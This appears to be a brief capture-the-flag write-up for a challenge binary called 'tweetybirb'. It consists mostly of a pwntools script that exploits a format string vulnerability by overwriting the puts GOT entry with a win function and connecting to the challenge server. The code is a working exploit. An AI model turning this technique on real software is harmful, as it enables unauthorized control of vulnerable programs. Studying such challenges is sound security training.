Since it has format string vuln we can easily solve with pwntools format string tool.
from pwn import *
context.log_level="debug"
elf = ELF("./tweetybirb")
context.arch=elf.arch
def exec_fmt(payload):
p = elf.process()
p.clean()
p.sendline(payload)
return p.recvline()
autofmt = FmtStr(exec_fmt)
offset = autofmt.offset #6
p = remote("143.198.184.186", 5002)
p.clean()
payload = fmtstr_payload(offset, {elf.symbols["got.puts"]: elf.symbols["win"]})
p.sendline(payload)
p.interactive()
print(p.clean())